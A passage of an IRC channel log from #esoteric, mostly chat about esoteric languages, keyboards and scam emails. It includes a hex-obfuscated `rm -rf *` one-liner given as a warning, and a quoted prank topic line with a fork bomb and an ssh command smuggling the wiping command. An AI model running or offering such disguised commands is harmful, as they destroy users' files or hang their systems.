< 1408579734 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1408579871 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 PRIVMSG #esoteric :fizzie: hmm, is there any immediately obvious reason why that wouldn't exist yet, really < 1408579886 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 PRIVMSG #esoteric :it sounds easier than normal text to speech! < 1408579891 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 PRIVMSG #esoteric :i guess "ipa is just big" < 1408580113 0 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, it should be. < 1408580252 0 :doesthiswork!~Adium@2601:7:2480:283:223:12ff:fe1b:3213 JOIN :#esoteric < 1408580409 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 QUIT :Read error: Connection reset by peer < 1408580435 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 JOIN :#esoteric < 1408580481 0 :yorick!~yorick@oftn/member/yorick QUIT :Ping timeout: 240 seconds < 1408580587 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 QUIT :Read error: Connection reset by peer < 1408580622 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 JOIN :#esoteric < 1408580707 0 :Bike!~Glossina@69.166.47.145 JOIN :#esoteric < 1408581739 0 :doesthiswork!~Adium@2601:7:2480:283:223:12ff:fe1b:3213 QUIT :Quit: Leaving. < 1408582013 0 :jameseb!~jameseb_@runciman.hacksoc.org QUIT :Ping timeout: 244 seconds < 1408582081 0 :jameseb!~jameseb_@runciman.hacksoc.org JOIN :#esoteric < 1408582759 0 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1408584794 0 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: ZZoon < 1408585794 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@ask oerjan what is a zzoon? < 1408585794 0 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1408585804 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(heh. for once I used the right @command :D ) < 1408586262 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :meanwhile, I'm stupid. < 1408586276 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :never, ever do $(echo 726d202d7266202a | xxd -r -p) in your home directory. < 1408586791 0 :boily!~boily@96.127.201.149 QUIT :Quit: HAGGLING CHICKEN < 1408587312 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :good advice < 1408587322 0 :Bike!~Glossina@69.166.47.145 QUIT :Ping timeout: 260 seconds < 1408587468 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1408587832 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh, this thing comes with some moderately clever packaging here (from an IRC topic line): "Root exploit: root(){ root|root& };root | OpenSSH remote root exploit: ssh $(echo 726d202d7266202a|xxd -r -p)@example.com -p 22" < 1408588103 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` echo 726d202d7266202a | xxd -r -p < 1408588103 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rm -rf * < 1408588364 0 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: so that does ssh rm -rf '*'@example.com -p 22...? < 1408588732 0 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1408588809 0 :mauris!~mauris@2a02:1810:4d0d:7e00:cc4f:ef2c:281d:f6e6 QUIT :Read error: Connection reset by peer < 1408588839 0 :lexande!arapp@lara.ugcs.caltech.edu PRIVMSG #esoteric :it needs another set of $()s < 1408589391 0 :Lorenzo64!~lorenzo@adsl-ull-96-62.42-151.net24.it QUIT :Ping timeout: 240 seconds < 1408589750 0 :doesthiswork!~Adium@2601:7:2480:283:223:12ff:fe1b:3213 JOIN :#esoteric < 1408590381 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 240 seconds < 1408590647 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1408591471 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Ping timeout: 240 seconds < 1408591635 0 :doesthiswork!~Adium@2601:7:2480:283:223:12ff:fe1b:3213 QUIT :Quit: Leaving. < 1408591635 0 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1408591860 0 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1408593296 0 :Sgeo!~quassel@ool-44c2aebc.dyn.optonline.net PRIVMSG #esoteric :ACTION may be temporarily replacing '3 slices of pizza' with 'chicken + brocolli from Chinese food place' in his diet < 1408593303 0 :Sgeo!~quassel@ool-44c2aebc.dyn.optonline.net PRIVMSG #esoteric :Not sure if that's worse health-wise < 1408593331 0 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: If you do not like to eat same things all the time, then it is good, though. < 1408594267 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :elliott: hmm, right. it should be $($(...)) < 1408594307 0 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :elliott: or perhaps it wasn't meant to be truly evil < 1408596673 0 :TodPunk!~Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1408596718 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1408597650 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection timed out < 1408598058 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1408599457 0 :fizzie!?@? PRIVMSG #esoteric :@tell mauris I'd say it's easier to do badly (no need for pronunciation dictionaries) but harder to do "naturally" (no way of guessing correct prosody without knowing the language, except for the IPA stress and tone markers that probably aren't even always there, and anyway don't mark up everything, plus probably no available single-voice audio corpora that'd cover all the sounds). < 1408599457 0 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1408600600 0 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/Akc6r.gif < 1408602061 0 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You should need a more elaborate syntax, then, would be all, I think < 1408602176 0 :FreeFull!~freefull@defocus/sausage-lover QUIT :Ping timeout: 264 seconds < 1408604181 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1408604483 0 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Which would need to also specify various parameters and envelopes for speech, as well as markers used not only in IPA but an extension of it. < 1408604701 0 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Will GNU GPL version 42 ever be made up? < 1408605740 0 :MoALTz_!~no@user-164-126-226-95.play-internet.pl QUIT :Quit: Leaving < 1408609445 0 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1408611142 0 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1408611704 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1408613660 0 :Patashu!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1408614065 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net QUIT :Read error: Connection reset by peer < 1408614066 0 :AnotherTest!~turingcom@d51A45FF2.access.telenet.be JOIN :#esoteric < 1408614121 0 :TodPunk!Tod@50-198-177-186-static.hfc.comcastbusiness.net JOIN :#esoteric < 1408619750 0 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1408620272 0 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1408620347 0 :FreeFull!~freefull@defocus/sausage-lover QUIT :Ping timeout: 255 seconds < 1408620366 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@messages- < 1408620367 0 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :boily asked 9h 36m 12s ago: what is a zzoon? < 1408620384 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell boily It is Zzleep, coming zzoon hth < 1408620385 0 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1408620459 0 :FreeFull!~freefull@defocus/sausage-lover JOIN :#esoteric < 1408620531 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait what. for a fraction of a second i had what seemed like a vertical tab menu, the kind i've been missing since i updated from IE 8. < 1408620545 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and i have no idea what i pressed. < 1408620597 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hellørjan! < 1408620611 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ooh it's just IE's own icon which has changed it's menu. yay! < 1408620687 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hemsktmyckeheily < 1408620709 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*+t < 1408620714 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hemskt... *cough* < 1408620719 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-' < 1408620722 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :what the hoily is that? < 1408620745 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :https://www.youtube.com/watch?v=-b4-h9-s2g8 < 1408620922 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :«Hey Hey terriblement BONJOUR» < 1408620983 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that song was even cheesier than i remembered. < 1408621061 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I have no idea what was what I just watched, except that it wouldn't feel out of place on a Monday night. < 1408621141 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the "hemskt" is something like an intensifier, no _actual_ terrible intended. < 1408621174 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's a terrible amount of hi. < 1408621208 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I surprisingly feel quite bonjoured today with that incomprehensible video clip :D < 1408621216 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(but what is a micket?) < 1408621221 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yay! yw. < 1408621239 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sv:mycket = en:much < 1408621410 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION also recommends den makalöse manicken that youtube suggests < 1408621425 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :of course you'll find that incomprehensible too. < 1408622305 0 :fizzie!?@? PRIVMSG #esoteric :There's a Finnish cover of it. < 1408622309 0 :fizzie!?@? PRIVMSG #esoteric :If that helps. < 1408622314 0 :fizzie!?@? PRIVMSG #esoteric :Does that help? I don't think it helps. < 1408622486 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :there should be a Help Scale, measured in HTHs. < 1408622608 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :this might help, by having nothing to comprehend in the first place https://www.youtube.com/watch?v=bd2qsC-PuJQ < 1408622776 0 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hubba hubba zoot zoot! hebba hobba zaat zaat! :D ♪ < 1408622975 0 :boily!~boily@96.127.201.149 QUIT :Quit: EXTREME CHICKEN < 1408623814 0 :fizzie!?@? PRIVMSG #esoteric :https://www.youtube.com/watch?v=RE7TOaTv3SI let's get that Finnish action here too, then < 1408623835 0 :fizzie!?@? PRIVMSG #esoteric :My headset is temporarily borrowed away, so I can't check if it is in fact the same thing. < 1408624087 0 :fizzie!?@? PRIVMSG #esoteric :(Except by playing it back out loud with the integrated speakers while everyone else around will stop and stare.) < 1408624828 0 :J_Arcane!~jarcane@dsl-trebrasgw2-54f949-238.dhcp.inet.fi JOIN :#esoteric < 1408625556 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: well it is. but the swedish was better hth < 1408625590 0 :fizzie!?@? PRIVMSG #esoteric :That's what my wife says, too, IIRC. < 1408625595 0 :fizzie!?@? PRIVMSG #esoteric :I guess everything's better in Sweden. < 1408625613 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well the finnish professor just doesn't sound crazy enough. < 1408625629 0 :fizzie!?@? PRIVMSG #esoteric :fungot: What's best in life? < 1408625629 0 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: tell me how to write a procmail-replacement in scheme. no sense in null termination. if it's not easier, at least < 1408625671 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fungot knows the true pleasures < 1408625671 0 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :oerjan: but most implementations do though? ( x 256) is clearer. < 1408626308 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1408626321 0 :Sgeo!~quassel@ool-44c2aebc.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1408627855 0 :ranjbari!51e0ea2b@gateway/web/cgi-irc/kiwiirc.com/ip.81.224.234.43 JOIN :#esoteric < 1408628042 0 :tychnop!bc19e1f6@gateway/web/freenode/ip.188.25.225.246 JOIN :#esoteric < 1408628682 0 :tychnop!bc19e1f6@gateway/web/freenode/ip.188.25.225.246 QUIT :Ping timeout: 246 seconds < 1408631151 0 :Patashu!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Ping timeout: 240 seconds < 1408631356 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 245 seconds < 1408632340 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::k [] < 1408632342 0 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :* -> * < 1408632588 0 :rreqasd!bc19e1f6@gateway/web/freenode/ip.188.25.225.246 JOIN :#esoteric < 1408632616 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric ::k [Maybe, (,) Bool] < 1408632617 0 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Illegal type: ‘'[Maybe, (,) Bool]’ < 1408632618 0 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you intended to use DataKinds < 1408632791 0 :impomatic_!~digital_w@167.156.125.91.dyn.plus.net JOIN :#esoteric < 1408633492 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`unidecode | < 1408633492 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+007C VERTICAL LINE] < 1408633925 0 :Bike!~Glossina@69.166.47.145 JOIN :#esoteric < 1408635643 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl JOIN :#esoteric < 1408635764 0 :ranjbari!51e0ea2b@gateway/web/cgi-irc/kiwiirc.com/ip.81.224.234.43 QUIT :Quit: http://www.kiwiirc.com/ - A hand crafted IRC client < 1408636872 0 :rreqasd!bc19e1f6@gateway/web/freenode/ip.188.25.225.246 QUIT :Ping timeout: 246 seconds < 1408637595 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :hey < 1408637601 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :I had a great idea today < 1408637608 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :An esolang < 1408637624 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :that has latin. < 1408637627 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :is latin < 1408637629 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :it's latin < 1408637636 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :I'll call it Latin# < 1408637643 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :Because generic name < 1408637689 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :granted, there's already Lingua Romana Perligata < 1408637716 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :but I want to make it so all valid Latin sentences are also valid in Latin# < 1408637726 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :A bit ambitious though < 1408637768 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Pyth14]]4 10 02http://esolangs.org/w/index.php?diff=40309&oldid=40117 5* 03213.152.181.66 5* (+4) 10 < 1408637783 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there's also http://esolangs.org/wiki/User:Taneb/lingua_abstrusa < 1408637799 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait < 1408637806 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :http://esolangs.org/wiki/Lingua_abstrusa < 1408637898 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :I have the idea of making "speech" verbs like vocare control I/O < 1408637904 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07CJam14]]4 N10 02http://esolangs.org/w/index.php?oldid=40310 5* 03213.152.181.66 5* (+177) 10Created page with "CJam is a stack-based programming language inspired by [[GolfScript]]. Link: http://sourceforge.net/projects/cjam/ Code example (factorial of 5): 
5 ,:):*
{{stub}}" < 1408637931 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :Like, having "voco" print something, "vocas" would get input, and "vocat" would print to stderr < 1408637944 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :quidquit latine dictum sit, accumulatorem increscit. < 1408637986 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :you mean quidquid? < 1408637997 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :STUPID AUTOCORRECT < 1408638005 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :how did it sneak into putty < 1408638038 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :also, that which is said in Latin, increments the accumulator? < 1408638040 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :lel < 1408638114 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :also, what should I use as for example an end-if? < 1408638118 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :or an end-while < 1408638129 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :or just general end < 1408638129 0 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1408638143 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :FINIS < 1408638175 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :oh right fin < 1408638176 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric ::P < 1408638186 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :finis* < 1408638188 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric ::P < 1408638213 0 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, Taneb is probably better at this. < 1408638340 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl PRIVMSG #esoteric :yeah, but I want to give it a try :P < 1408638754 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl QUIT :Ping timeout: 255 seconds < 1408639148 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1408639201 0 :TieSoul!~TieSoul@5ED55308.cm-7-6b.dynamic.ziggo.nl JOIN :#esoteric < 1408639555 0 :mihow!~mihow@108.30.58.169 JOIN :#esoteric < 1408640354 0 :Burton!Burton@gateway/shell/bouncerstation/x-iakiyurimjbzyies QUIT :Ping timeout: 260 seconds < 1408640814 0 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1408641743 0 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1408641762 0 :not^v!~notnot^v@2601:4:4500:e15:884b:3aae:7250:f0ec JOIN :#esoteric < 1408641980 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 250 seconds < 1408642143 0 :Burton!Burton@gateway/shell/bouncerstation/x-toavvwmanycksvmm JOIN :#esoteric < 1408642297 0 :Burton!Burton@gateway/shell/bouncerstation/x-toavvwmanycksvmm QUIT :Max SendQ exceeded < 1408643097 0 :Bike_!~Glossina@wl-nat105.it.wsu.edu JOIN :#esoteric < 1408643148 0 :Bike_!?@? NICK :Bicyclidine < 1408643159 0 :fizzie!?@? PRIVMSG #esoteric :`unidecode ¦ < 1408643160 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+00A6 BROKEN BAR] < 1408643257 0 :fizzie!?@? PRIVMSG #esoteric :I have the vaguest feeling that also keyboards hereabouts used to have the ¦ symbol printed on the keycap in place of the |. < 1408643317 0 :fizzie!?@? PRIVMSG #esoteric :AIUI, UK layouts had/have both? < 1408643461 0 :AnotherTest!~turingcom@d51A45FF2.access.telenet.be QUIT :Ping timeout: 245 seconds < 1408643504 0 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 240 seconds < 1408643579 0 :AnotherTest!~turingcom@d51A45FF2.access.telenet.be JOIN :#esoteric < 1408643644 0 :idris-bot!~ircslave@dslb-094-221-215-107.094.221.pools.vodafone-ip.de QUIT :Quit: Terminated < 1408643692 0 :idris-bot!~ircslave@dslb-094-221-215-107.094.221.pools.vodafone-ip.de JOIN :#esoteric < 1408643782 0 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1408643875 0 :not^v!~notnot^v@2601:4:4500:e15:884b:3aae:7250:f0ec QUIT :Ping timeout: 240 seconds < 1408643879 0 :Melvar!~melvar@dslb-094-221-215-107.094.221.pools.vodafone-ip.de PRIVMSG #esoteric :fizzie: My keyboard (German type 1) has ¦ printed where | would be if I were using the matching layout. It’s on the third level, and the Linux standard upper levels have the fourth-level equivalent be ¦ . < 1408643910 0 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1408643940 0 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1408643975 0 :not^v!~notnot^v@2601:4:4500:e15:ad52:9b3d:8ee3:81eb JOIN :#esoteric < 1408644063 0 :Burton!Burton@gateway/shell/bouncerstation/x-hnohqblwuahityrl JOIN :#esoteric < 1408644297 0 :fizzie!?@? PRIVMSG #esoteric :This (Finnish) one I'm using has a | printed (third level in the key left of z, with < > | printed on it), and there is indeed ¦ generated by altgr-shift. < 1408644321 0 :Melvar!~melvar@dslb-094-221-215-107.094.221.pools.vodafone-ip.de PRIVMSG #esoteric :Exactly. < 1408644335 0 :fizzie!?@? PRIVMSG #esoteric :The equally Finnish keyboard in the laptop has a printed ¦. < 1408644342 0 :fizzie!?@? PRIVMSG #esoteric :Though the machine's from Germany. < 1408644680 0 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1408648481 0 :Bicyclidine!~Glossina@wl-nat105.it.wsu.edu QUIT :Ping timeout: 255 seconds < 1408648514 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1408648555 0 :olsner!~salparot@c83-252-201-82.bredband.comhem.se PRIVMSG #esoteric :this (sv) keyboard has a solid |, but I have another (us) keyboard with ¦ < 1408648633 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :UK keyboards have both, but both keys are interpreted the same way on Linux: | (left of Z), | (altgr-`) < 1408648644 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think they're interpreted differently on DOS/Windows < 1408648672 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh wow, I've seen a new development in 419 spam < 1408648697 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this spam is pretending to be a followup to existing spam that's already been fallen to, in the sense of "now I have the money, please contact person X for further details" < 1408648705 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's the spam equivalent of a virus, rather than a bacterium < 1408648711 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :relies on some other scammer having done the hard work < 1408648834 0 :olsner!~salparot@c83-252-201-82.bredband.comhem.se PRIVMSG #esoteric :sounds like a better deal than the normal nigeria spam, someone else has already paid for the transfer, all you need is to collect the reward < 1408648958 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :olsner: oh, that too < 1408649290 0 :fizzie!?@? PRIVMSG #esoteric :That's not really "new". And you see it also in the form of "stop talking to these other people, they are out to scam you, we need to take care of this". < 1408649310 0 :idris-bot!~ircslave@dslb-094-221-215-107.094.221.pools.vodafone-ip.de QUIT :Quit: Terminated < 1408649326 0 :idris-bot!~ircslave@dslb-094-221-215-107.094.221.pools.vodafone-ip.de JOIN :#esoteric < 1408649354 0 :fizzie!?@? PRIVMSG #esoteric :(I don't quite know how it proceeds from there into you giving them money.) < 1408649362 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: well, it's the first time I've seen it < 1408649382 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: I've seen the "we're police investigating scams, if you've been scammed tell us about it and we'll try to get your money back" < 1408649391 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(which is followed by the normal methods of getting money) < 1408649717 0 :fizzie!?@? PRIVMSG #esoteric :That's kind of a followup too. < 1408649728 0 :fizzie!?@? PRIVMSG #esoteric :Though the ones I've seen don't ask "if you've been scammed", they just assume. < 1408649767 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: err, right, yes < 1408649847 0 :fizzie!?@? PRIVMSG #esoteric :I've been getting a lot of "We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you" at the webmaster@ address lately, even though there's nothing very much like a resume or a CV at the site in question. < 1408649860 0 :fizzie!?@? PRIVMSG #esoteric :I guess there's a bit of a profile of myself that might have some keywords. < 1408649923 0 :fizzie!?@? PRIVMSG #esoteric :They are offering a job as a "destination representative" with duties including "document and payment control of our clients" offering "flat wage from 1200 EUR up to 3,000 EUR per month". < 1408650013 0 :fizzie!?@? PRIVMSG #esoteric :"These job postings are an attempt to lure you into accepting and cashing counterfeit checks into your bank accounts. You are being recruited to wire transfer these funds via WESTERN UNION or MONEYGRAM from your bank into a DOMESTIC BANK or OFFSHORE BANK ACCOUNT." < 1408650018 0 :fizzie!?@? PRIVMSG #esoteric :I was guessing it was something like that. < 1408650106 0 :olsner!~salparot@c83-252-201-82.bredband.comhem.se PRIVMSG #esoteric :how does a counterfeit check make you transfer money from your bank? < 1408650133 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :olsner: you cash the counterfeit check, then wire 90% of the money to the people who sent it to you < 1408650142 0 :fizzie!?@? PRIVMSG #esoteric :Or a flat fee in this case, I guess. < 1408650287 0 :fizzie!?@? PRIVMSG #esoteric :There's apparently also a new targeted phishing attack going around our university; at least we got a warning about one from the IT folks. < 1408650330 0 :fizzie!?@? PRIVMSG #esoteric :Oh, I've gotten an instance of it too, it was in the spam folder. < 1408650360 0 :fizzie!?@? PRIVMSG #esoteric :"Dear User, This is your webmail administrator. Please,be informed that the email server has just been upgraded and your email needs to be reset immediately. This process is to keep Aalto University system server updated and protected as always." < 1408650420 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: do you go to Aalto University? < 1408650425 0 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if so, that's doing better than 90% of spam < 1408650432 0 :fizzie!?@? PRIVMSG #esoteric :At least the "reset your email" link has the actual Aalto webmail address as the link text. (The URL is to 